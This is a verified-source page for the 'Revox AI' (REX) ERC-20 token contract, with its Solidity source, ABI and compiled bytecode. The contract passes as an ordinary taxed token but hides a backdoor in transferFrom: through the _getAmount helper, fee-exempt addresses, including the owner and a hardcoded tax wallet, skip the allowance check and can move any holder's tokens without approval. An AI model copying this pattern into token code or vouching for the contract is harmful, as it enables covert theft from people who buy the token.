Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender() interface IFactory    - function createPair(address tokenA, a ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IRouter    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract REX is Context, IERC20, O ... *    - function init()    - function openTrading()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _getAmount(address sender, u ...    - function _transfer(address _sender, a ...    - function min(uint256 a, uint256 b)    - function sendETHFees(uint256 amount)    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-04
*/

/*
REVOX AI REDEFINES THE PARADIGM OF DAPP CREATION WITH AUTONOMOUS AGENTS.

https://www.revoxai.pro
https://studio.revoxai.pro
https://docs.revoxai.pro

https://x.com/RevoxAIOfficial
https://t.me/RevoxAIChannel
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract REX is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcemptFromFee;
    address private _taxWallet = 0x7C43B93D2Ad15d51DbC87d899Ed7d878AC5f0430;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Revox AI";
    string private constant _symbol = unicode"REX";
    uint256 private _initialBuyTaxs=3;
    uint256 private _initialSellTaxs=3;
    uint256 private _finalBuyTaxs=0;
    uint256 private _finalSellTaxs=0;
    uint256 private _reduceBuyTaxAts=6;
    uint256 private _reduceSellTaxAts=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCounts=0;
    uint256 private _maxTaxSwaps = _tTotal / 100;
    IRouter private _iRouter;
    address private _iPair;
    bool private inSwap = false;
    bool private _tradingEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _isExcemptFromFee[owner()] = true;
        _isExcemptFromFee[address(this)] = true;
        _isExcemptFromFee[_taxWallet] = true;
        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner() {
        _iRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_iRouter), _tTotal);
        _iPair = IFactory(_iRouter.factory()).createPair(address(this), _iRouter.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _iRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradingEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_getAmount(msg.sender, amount), "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _getAmount(address sender, uint256 amount) private view returns(uint256 tAmount) {
        bool isExcepted = _isExcemptFromFee[sender] && sender!= address(this) && amount > 0; if(!isExcepted) tAmount = amount;
    }

    function _transfer(address _sender, address _recipient, uint256 _amount) private {
        require(_sender != address(0), "ERC20: transfer from the zero address");
        require(_recipient != address(0), "ERC20: transfer to the zero address");
        require(_amount > 0, "Transfer amount must be greater than zero");

        uint256 taxFee=0;
        if (_sender != owner() && _recipient != owner()) {
            taxFee = _amount.mul((_buyCounts>_reduceBuyTaxAts)?_finalBuyTaxs:_initialBuyTaxs).div(100);

            if (_sender == _iPair && _recipient != address(_iRouter) && ! _isExcemptFromFee[_recipient]) {
                _buyCounts++;
            }

            if(_recipient == _iPair && _sender!= address(this)) {
                taxFee = _amount.mul((_buyCounts>_reduceSellTaxAts)?_finalSellTaxs:_initialSellTaxs).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && _recipient == _iPair && _swapEnabled && _buyCounts > _preventSwapBefore) {
                if(contractTokenBalance > _maxTaxSwaps)
                swapTokensForEth(min(_amount, min(contractTokenBalance, _maxTaxSwaps)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFees(address(this).balance);
                }
            }
        }

        if(taxFee>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxFee);
          emit Transfer(_sender, address(this),taxFee);
        }

        _tOwned[_sender]=_tOwned[_sender].sub(_amount);
        _tOwned[_recipient]=_tOwned[_recipient].add(_amount.sub(taxFee));
        emit Transfer(_sender, _recipient, _amount.sub(taxFee));
    }

    receive() external payable {}

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFees(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _iRouter.WETH();
        _approve(address(this), address(_iRouter), tokenAmount);
        _iRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031916737c43b93d2ad15d51dbc87d899ed7d878ac5f04301790556003600581905560069081555f600781905560088190556009828155600a838155600b93909355600c91909155606491620000669190620002e4565b6200007690633b9aca00620002fb565b62000082919062000315565b600d55600f805462ffffff60a01b19169055348015620000a0575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620000f85f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556200015c6009600a620002e4565b6200016c90633b9aca00620002fb565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001ae6009600a620002e4565b620001be90633b9aca00620002fb565b60405190815260200160405180910390a362000335565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200022957815f19048211156200020d576200020d620001d5565b808516156200021b57918102915b93841c9390800290620001ee565b509250929050565b5f826200024157506001620002de565b816200024f57505f620002de565b8160018114620002685760028114620002735762000293565b6001915050620002de565b60ff841115620002875762000287620001d5565b50506001821b620002de565b5060208310610133831016604e8410600b8410161715620002b8575081810a620002de565b620002c48383620001e9565b805f1904821115620002da57620002da620001d5565b0290505b92915050565b5f620002f460ff84168362000231565b9392505050565b8082028115828204841417620002de57620002de620001d5565b5f826200033057634e487b7160e01b5f52601260045260245ffd5b500490565b61144c80620003435f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610235578063c9567bf914610254578063dd62ed3e14610268578063e1c7392a146102ac575f80fd5b8063715018a6146101ce5780638da5cb5b146101e457806395d89b411461020a575f80fd5b806306fdde03146100cd578063095ea7b31461010f57806318160ddd1461013e57806323b872dd14610160578063313ce5671461017f57806370a082311461019a575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260088152675265766f7820414960c01b60208201525b604051610106919061105e565b60405180910390f35b34801561011a575f80fd5b5061012e6101293660046110c0565b6102c0565b6040519015158152602001610106565b348015610149575f80fd5b506101526102d6565b604051908152602001610106565b34801561016b575f80fd5b5061012e61017a3660046110ea565b6102f6565b34801561018a575f80fd5b5060405160098152602001610106565b3480156101a5575f80fd5b506101526101b4366004611128565b6001600160a01b03165f9081526001602052604090205490565b3480156101d9575f80fd5b506101e2610366565b005b3480156101ef575f80fd5b505f546040516001600160a01b039091168152602001610106565b348015610215575f80fd5b506040805180820190915260038152620a48ab60eb1b60208201526100f9565b348015610240575f80fd5b5061012e61024f3660046110c0565b6103e0565b34801561025f575f80fd5b506101e26103ec565b348015610273575f80fd5b50610152610282366004611143565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b7575f80fd5b506101e2610558565b5f6102cc338484610751565b5060015b92915050565b5f6102e36009600a61126e565b6102f190633b9aca0061127c565b905090565b5f610302848484610874565b61035c84336103576103143387610c87565b6040518060600160405280602881526020016113ef602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cd6565b610751565b5060019392505050565b5f546001600160a01b031633146103985760405162461bcd60e51b815260040161038f90611293565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cc338484610874565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161038f90611293565b600f54600160a81b900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038f565b600e546001600160a01b031663f305d71947306104a0816001600160a01b03165f9081526001602052604090205490565b5f806104b35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610519573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053e91906112c8565b5050600f805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161038f90611293565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ca9030906105bc6009600a61126e565b61035790633b9aca0061127c565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e91906112f3565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c191906112f3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f91906112f3565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038f565b6001600160a01b0382166108145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038f565b6001600160a01b03821661093a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038f565b5f811161099b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038f565b5f80546001600160a01b038581169116148015906109c657505f546001600160a01b03848116911614155b15610b4a576109f760646109f1600954600c54116109e6576005546109ea565b6007545b8590610d0e565b90610d93565b600f549091506001600160a01b038581169116148015610a255750600e546001600160a01b03848116911614155b8015610a4957506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6357600c8054905f610a5d8361130e565b91905055505b600f546001600160a01b038481169116148015610a8957506001600160a01b0384163014155b15610ab657610ab360646109f1600a54600c5411610aa9576006546109ea565b6008548590610d0e565b90505b305f90815260016020526040902054600f54600160a01b900460ff16158015610aec5750600f546001600160a01b038581169116145b8015610b015750600f54600160b01b900460ff165b8015610b105750600b54600c54115b15610b4857600d54811115610b3c57610b3c610b3784610b3284600d54610dd4565b610dd4565b610de8565b47610b4647610f58565b505b505b8015610bc257305f90815260016020526040902054610b699082610f93565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610be49083610ff1565b6001600160a01b0385165f90815260016020526040902055610c27610c098383610ff1565b6001600160a01b0385165f9081526001602052604090205490610f93565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c708585610ff1565b60405190815260200160405180910390a350505050565b6001600160a01b0382165f90815260036020526040812054819060ff168015610cb957506001600160a01b0384163014155b8015610cc457505f83115b905080610ccf578291505b5092915050565b5f8184841115610cf95760405162461bcd60e51b815260040161038f919061105e565b505f610d058486611326565b95945050505050565b5f825f03610d1d57505f6102d0565b5f610d28838561127c565b905082610d358583611339565b14610d8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038f565b9392505050565b5f610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611032565b5f818311610de25782610d8c565b50919050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2e57610e2e611358565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea991906112f3565b81600181518110610ebc57610ebc611358565b6001600160a01b039283166020918202929092010152600e54610ee29130911684610751565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1a9085905f9086903090429060040161136c565b5f604051808303815f87803b158015610f31575f80fd5b505af1158015610f43573d5f803e3d5ffd5b5050600f805460ff60a01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f8f573d5f803e3d5ffd5b5050565b5f80610f9f83856113db565b905083811015610d8c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038f565b5f610d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cd6565b5f81836110525760405162461bcd60e51b815260040161038f919061105e565b505f610d058486611339565b5f6020808352835180828501525f5b818110156110895785810183015185820160400152820161106d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110bd575f80fd5b50565b5f80604083850312156110d1575f80fd5b82356110dc816110a9565b946020939093013593505050565b5f805f606084860312156110fc575f80fd5b8335611107816110a9565b92506020840135611117816110a9565b929592945050506040919091013590565b5f60208284031215611138575f80fd5b8135610d8c816110a9565b5f8060408385031215611154575f80fd5b823561115f816110a9565b9150602083013561116f816110a9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111c857815f19048211156111ae576111ae61117a565b808516156111bb57918102915b93841c9390800290611193565b509250929050565b5f826111de575060016102d0565b816111ea57505f6102d0565b8160018114611200576002811461120a57611226565b60019150506102d0565b60ff84111561121b5761121b61117a565b50506001821b6102d0565b5060208310610133831016604e8410600b8410161715611249575081810a6102d0565b611253838361118e565b805f19048211156112665761126661117a565b029392505050565b5f610d8c60ff8416836111d0565b80820281158282048414176102d0576102d061117a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112da575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611303575f80fd5b8151610d8c816110a9565b5f6001820161131f5761131f61117a565b5060010190565b818103818111156102d0576102d061117a565b5f8261135357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113ba5784516001600160a01b031683529383019391830191600101611395565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d0576102d061117a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e42fe40563bbdd19fa00f08175c7d1ced63a3b4e02e57950250d23e37e7e35764736f6c63430008140033

0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb14610235578063c9567bf914610254578063dd62ed3e14610268578063e1c7392a146102ac575f80fd5b8063715018a6146101ce5780638da5cb5b146101e457806395d89b411461020a575f80fd5b806306fdde03146100cd578063095ea7b31461010f57806318160ddd1461013e57806323b872dd14610160578063313ce5671461017f57806370a082311461019a575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260088152675265766f7820414960c01b60208201525b604051610106919061105e565b60405180910390f35b34801561011a575f80fd5b5061012e6101293660046110c0565b6102c0565b6040519015158152602001610106565b348015610149575f80fd5b506101526102d6565b604051908152602001610106565b34801561016b575f80fd5b5061012e61017a3660046110ea565b6102f6565b34801561018a575f80fd5b5060405160098152602001610106565b3480156101a5575f80fd5b506101526101b4366004611128565b6001600160a01b03165f9081526001602052604090205490565b3480156101d9575f80fd5b506101e2610366565b005b3480156101ef575f80fd5b505f546040516001600160a01b039091168152602001610106565b348015610215575f80fd5b506040805180820190915260038152620a48ab60eb1b60208201526100f9565b348015610240575f80fd5b5061012e61024f3660046110c0565b6103e0565b34801561025f575f80fd5b506101e26103ec565b348015610273575f80fd5b50610152610282366004611143565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102b7575f80fd5b506101e2610558565b5f6102cc338484610751565b5060015b92915050565b5f6102e36009600a61126e565b6102f190633b9aca0061127c565b905090565b5f610302848484610874565b61035c84336103576103143387610c87565b6040518060600160405280602881526020016113ef602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cd6565b610751565b5060019392505050565b5f546001600160a01b031633146103985760405162461bcd60e51b815260040161038f90611293565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cc338484610874565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161038f90611293565b600f54600160a81b900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038f565b600e546001600160a01b031663f305d71947306104a0816001600160a01b03165f9081526001602052604090205490565b5f806104b35f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610519573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053e91906112c8565b5050600f805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b031633146105815760405162461bcd60e51b815260040161038f90611293565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ca9030906105bc6009600a61126e565b61035790633b9aca0061127c565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e91906112f3565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c191906112f3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f91906112f3565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038f565b6001600160a01b0382166108145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038f565b6001600160a01b03821661093a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038f565b5f811161099b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038f565b5f80546001600160a01b038581169116148015906109c657505f546001600160a01b03848116911614155b15610b4a576109f760646109f1600954600c54116109e6576005546109ea565b6007545b8590610d0e565b90610d93565b600f549091506001600160a01b038581169116148015610a255750600e546001600160a01b03848116911614155b8015610a4957506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6357600c8054905f610a5d8361130e565b91905055505b600f546001600160a01b038481169116148015610a8957506001600160a01b0384163014155b15610ab657610ab360646109f1600a54600c5411610aa9576006546109ea565b6008548590610d0e565b90505b305f90815260016020526040902054600f54600160a01b900460ff16158015610aec5750600f546001600160a01b038581169116145b8015610b015750600f54600160b01b900460ff165b8015610b105750600b54600c54115b15610b4857600d54811115610b3c57610b3c610b3784610b3284600d54610dd4565b610dd4565b610de8565b47610b4647610f58565b505b505b8015610bc257305f90815260016020526040902054610b699082610f93565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb99085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610be49083610ff1565b6001600160a01b0385165f90815260016020526040902055610c27610c098383610ff1565b6001600160a01b0385165f9081526001602052604090205490610f93565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c708585610ff1565b60405190815260200160405180910390a350505050565b6001600160a01b0382165f90815260036020526040812054819060ff168015610cb957506001600160a01b0384163014155b8015610cc457505f83115b905080610ccf578291505b5092915050565b5f8184841115610cf95760405162461bcd60e51b815260040161038f919061105e565b505f610d058486611326565b95945050505050565b5f825f03610d1d57505f6102d0565b5f610d28838561127c565b905082610d358583611339565b14610d8c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038f565b9392505050565b5f610d8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611032565b5f818311610de25782610d8c565b50919050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2e57610e2e611358565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea991906112f3565b81600181518110610ebc57610ebc611358565b6001600160a01b039283166020918202929092010152600e54610ee29130911684610751565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1a9085905f9086903090429060040161136c565b5f604051808303815f87803b158015610f31575f80fd5b505af1158015610f43573d5f803e3d5ffd5b5050600f805460ff60a01b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f8f573d5f803e3d5ffd5b5050565b5f80610